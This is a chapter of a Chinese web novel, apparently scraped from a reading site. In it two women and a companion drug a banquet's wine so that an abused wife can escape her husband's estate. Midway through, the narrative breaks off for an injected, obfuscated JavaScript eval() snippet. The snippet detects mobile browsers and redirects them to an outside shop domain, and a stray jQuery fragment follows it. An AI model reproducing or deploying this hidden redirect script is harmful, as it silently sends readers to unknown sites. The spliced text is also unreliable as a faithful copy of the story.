文趣网 > 其他小说 > 御赐小红娘 > 11. 老婆说和她只是好友怎么办
    听到沈妍这声应允,陈洺芷的眼眶也湿润了,她的嘴唇微微颤抖,缓缓蹲在她身前,一句一顿:“后日李恭言设宴,我随你一起宴客,届时我会将蒙汗散洒进酒里,谢净会接应你从北苑翻墙出去,铭英郡主的马车一直候着。”

    “可李恭言在我四周都布下了眼线,我若是脱逃,必定会被发现的。”

    陈洺芷思考了一会,拉住她的手,道:“你逃走时换上我的衣裳,一路不要抬头,不会有人注意一个小小婢女的。”

    沈妍焦急地看着她,问:“那你呢?”

    “我留在那里断后。”陈洺芷淡淡一笑,“待你逃出李府,我即刻与你们汇合。”

    “放心好了。”她大大咧咧地叉着腰,“本姑娘四肢健全,遇到事我跑得格外快,定不会将自己困在这府里。”

    沈妍看着她弯弯的眉眼,轻轻地笑了笑,小声说:“那我们就说好了,后日你和谢净随我一起赴宴,我们一起逃出去。”

    陈洺芷点点头,活动了一下手脚,看着沈妍眼下脂粉都盖不住的青紫,轻轻叹了口气。

    她拉开寝门,回头嘱咐沈妍好好休息,便迈出走了出去。

    已是夜深人静时。

    走出院子,谢净仍在院外候着,陈洺芷拉着他在石阶上坐下,一五一十地将沈妍的遭遇告诉他。

    谢净听完后,垂下眼睫,似是有些不满,缄默了一会,小声说道:“你总是不顾惜自己,若是出了什么差池……”

    “好了好了,你嘴巴真碎。”

    陈洺芷用肩膀顶了顶他,低头用足尖踢着地上的沙砾。

    “我福大命大,到时一定会全须全尾地带着你们回郡主府的,你放心好了。”

    她悠悠地说。

    侧过脸看着谢净,陈洺芷见他蹙着眉头,上手去按他的眉头,笑道:“你年纪轻轻,怎么总是皱着眉头,好丧气的。”

    葱白的指尖微凉,轻轻地点在谢净的眉间,让他微微愣了神。

    他移眼看她,见她没心没肺地冲自己笑,嘴角扬了扬,抬手把她的手捉住,动作很轻,像是讨好怕生的猫儿。

    “别闹。”

    他轻轻松开她的手,支起下巴,轻笑道:“对我可以这样,对别的男子不能胡来。”

    陈洺芷噘噘嘴,“为什么?”

    “因为我们是……好友,你若是对别的男子,定会有人说你不懂得男女有别了。”

    “切。”

    陈洺芷偏过脸去,有些不服气地说:“这世间哪来的这么些规矩,当真让人烦心。”

    谢净眯眼笑着,一言不发地看着她。

    他能觉察到李恭言安插的暗卫仍在角落里紧盯着这里,并未过多言语,只是抬手将陈洺芷的碎发拨至耳后,静静地看着她。

    陈洺芷托着腮帮子,百无聊赖地看着夜空,发了好一会呆后,她歪着脖子和谢净说:“你说,这世间男子,怎么会有那么多薄情寡义的人,先是田义,如今又是李恭言,我是不明白了,就不能一生一世一双人长相厮守吗?”

    谢净嘴角的笑慢慢垂下来,他的眼神暗了暗,轻声道:“我也不知道。”

    他想起了自己的母妃。

    母妃还怀着他的时候便因触犯父皇的宠妃被打入冷宫,一个人在冷宫里将他拉扯长大,母子俩相依为命,都生得瘦小。

    眼见太子势力越来越大,冷宫里的谢净再怎么藏锋,也免不了被针对。

    今日被克扣餐食,明日被投毒,后日指不定就要暴毙而亡,而这一切,都是发生在他的好父皇,当朝天子的眼皮底下。

    他的父皇当然知情他的骨血在冷宫里饱受折磨,但他并不在意,留下一对孤苦母子互相支撑,心惊胆战地过活。

    谢净生在冷宫,理应一辈子都被困在那里,可他母妃见不得孩儿和他一样日日惴惴不安,竟投井寻了短见,用自己的命换了皇帝心软,终是将谢净送出了冷宫。

    谢净的母妃已离世十年,可每每想到这些,谢净仍痛心不已。

    如今被陈洺芷问及真心,他答不上来。

    他的父兄皆是薄情人,他不知该如何应声,只得小声说:“世间的男子大抵都是薄情寡义的罢。”

    陈洺芷对他这回答极为不满,撇了撇嘴,“那可不一定,我阿爹就很爱我阿娘,虽然他早早就死在了沙场上……”

    她把手搭到谢净肩膀上,笑道:“你日后若是娶妻,一定要对你的夫人好一些,女子活在这世上很不容易的。”

    说到这,她又凑过去问谢净:“你若是娶亲,会请我去喝喜酒吧?”

    谢净一愣,垂了垂眼,闷声道:“不请。”

    “诶诶诶诶,你这人。”

    陈洺芷急了,“为何不请?”

    谢净挪了挪身子,坐得很端正,他的声音在虫鸣里若隐若现:“我们是什么关系?”

    陈洺芷凝噎了,很快又笑起来:“好友啊。”

    “莫非……”

    她的爪子又扒上他的肩膀,很认真地问:“你不把我当好友么?”

    谢净偏过头,“没有。”

    “那你就是小气鬼!”

    她笑着点点他的肩膀,抬眼看了看星宿,发觉时辰不早了,便不再和他插科打诨,拎起裙裾站起身。

    陈洺芷本欲回去歇息,只是刚迈出几步,又折返回来,看着谢净的眼睛,一句一顿:“放心吧小气鬼,我若是成亲,一定请你来喝喜酒。”

    说完便笑嘻嘻地跑回院子里了。

    谢净看着陈洺芷的背影,眼神直勾勾地追随着她,知道她走进屋内。

    陈洺芷的指尖方才还在轻戳他的肩膀。

    谢净抬手摸了摸自己的肩膀,轻笑出声。

    手掌下移,挪到心口处,他听到自己极快的心跳。

    半是欣喜,半是不甘。

    她说她与我是好友。

    可怎么就只是好友呢?

    嘴唇被咬得青紫,谢净抬眼看着陈洺芷离去的方向,眼神晦暗不明。

    远远看去,好似个怨夫。

    *

    很快便到了设宴的日子。

    虽说是李恭言设的私宴,可他还是早早地吩咐沈妍收拾好自己和他一同宴客。

    为了维持李府的体面,这两日他收敛着脾气,竟没再打骂沈妍,让她安稳地歇息了两天,气色这才好看些。

    宴席当日,沈妍带着陈洺芷和谢净前往正院。

    谢净被留在院外,陈洺芷则被沈妍带到了正厅服侍。

    迈进门槛前,她们两个对视了一眼,都从彼此眼底瞧出了忐忑不安。

    陈洺芷咽了咽口水,硬着头皮跟在沈妍身后进了门。

    厅内高朋满座,大小官员有近十人,陈洺芷偷偷瞄了一眼,那些人的衣着都华丽无比,满脸酒色气息,围着两个几案喝酒行令,嬉笑声震天。

    只有一人不同。

    坐在桌角的是个年轻男子,身着一身紫袍,其色明丽,却并不轻佻,那男子端坐在众人之间,腰板笔直,眉目舒展,只是安静地喝酒吃肉,并不从众喧哗,好似鹤立鸡群。

    觉察到有人在看自己,那人很快便和陈洺芷对上视线,见她是个小小婢女,那人一愣,很快又挪过眼去。

    见陈洺芷盯着那人看,沈妍和她咬耳朵:“那是李恭言近日结交的一个穷秀才,名唤楚悯,是个写文章的好手,他便留他做了门客。”

    陈洺芷点了点头,不由得又去看了楚悯几眼,只觉得有些疑惑。

    那样的气质,怎么是一个穷秀才所能轻易具有的呢?

    她思索不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724095|208621||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    出答案,这时早已喝高的李恭言却注意到了她与沈妍,打着舌头指责沈妍:“你个蠢的,让你早早地来随我宴客,你却好,姗姗来迟。”

    他使劲拍了拍几案,眯起眼睛,“还不来添酒?”

    沈妍愣了神,下意识地去看陈洺芷,看到她坚定的眼神后,她稳了稳呼吸,上前给那些男人添酒。

    明明屋内就有陈洺芷这个仆役,可李恭言偏要自己的夫人来做这些琐事。

    这人哪怕是醉酒,也要折辱沈妍。

    沈妍很少做伺候人的活,举着银酒壶在几案旁手忙脚乱地倒酒,一不留神便将酒倒撒了。

    一个满脸皱纹的男子的袖袍被这酒液泼湿一大片,沈妍瞬时慌了神,欲下跪认错,可那老不死的竟也不恼,反而色眯眯地上下打量着沈妍,粗黄的手掌挪到了她的腰臀。

    沈妍霎时面如菜色,胃里一阵翻涌,她想要去求助自己的夫君,可李恭言的目光却变得格外兴奋,语气疯狂极了,“孙兄既然对我夫人如此迷恋,不如,我借她给你玩几日,我之前欠的钱,就此勾销?”

    沈妍没想过李恭言能说出这样的话,站稳身形,颤抖着声音说:“李恭言,你到底要不要脸?”

    李恭言没想到平日里软弱的沈妍今日竟敢在众宾面前顶撞他,心里立马升起一团邪火。

    陈洺芷在一旁咬牙切齿地看着李恭言,见他扬起手掌,忙上前挡在沈妍面前,接过沈妍手里的酒壶,绕着圈给宾客都续上了酒。

    她对李恭言挤出个笑来,讨好地说:“老爷莫要生气,是夫人不懂事,你莫要理她,不要扫了兴致,先喝酒,先喝酒嘛……”

    接着袖袍的遮掩,掌心的蒙汗药这时也被她洒进酒壶里。

    李恭言扫了陈洺芷一眼,似是很赏识她的机灵,撇了撇嘴,竟没有再殴打沈妍,任由陈洺芷把她拉到一旁。

    见这些男人又重新举起酒杯,陈洺芷松了口气,转身看到沈妍正伤心地抹泪。

    她挪到她身边,小声地说:“不要难过,你马上就能摆脱他了,再忍忍罢。”

    沈妍听到这话,渐渐止住了眼泪,转过身,轻轻咬着下唇,看着摇色呼卢的李恭言,彻底地死了心。

    陈洺芷站在她身侧,面色凝重地看着行酒令的男人们。

    酒色财气,虚伪至极。

    她估摸着时间,站在正院门口,不到一刻钟,方才还趾高气昂的老爷官员全部被蒙汗药迷晕,一个个倒在桌子上不省人事。

    她和陈洺芷对视一眼,二人没有再犹豫,迅速互换好衣服,沈妍扮成婢女模样先从后门离开,半刻钟后,扮成沈妍的陈洺芷也低着头,硬着头皮从正院走了出去。

    索性有夜色遮蔽,正院的值守并未看出陈洺芷正假扮着沈妍,她加快脚步,穿过府内蜿蜒的小路,终是按时到了北苑。

    谢净一身劲装,已经等候多时了。

    北苑的院墙上靠着一把竹梯,谢净先翻了出去,转身接应沈妍翻墙。

    沈妍显然没有太多翻墙的经验,爬起梯子来格外缓慢,甚至连腿脚都是软的,得要陈洺芷在下方托举着才能稳当。

    她缓缓地爬到墙头,回头看了一眼压抑森严的李府,捂着胸口,轻轻叹了口气。

    她终于逃出来了。

    沈妍不再犹豫,踩着谢净的肩膀翻出了李府。

    墙内就剩下了陈洺芷一人。

    谢净本想着去拉她一把,可陈洺芷大大咧咧地摆摆手,示意自己一个人就能翻过去。

    沈妍的衣服她穿起来并不服帖,陈洺芷抱着宽大繁琐的袖子,双手握住竹梯两侧,正准备抬脚翻墙,却听得身后蓦地传来一声暴喝:

    “你想往哪里跑?”

    陈洺芷登时被骇得动弹不得。

    怎么会是李恭言的声音。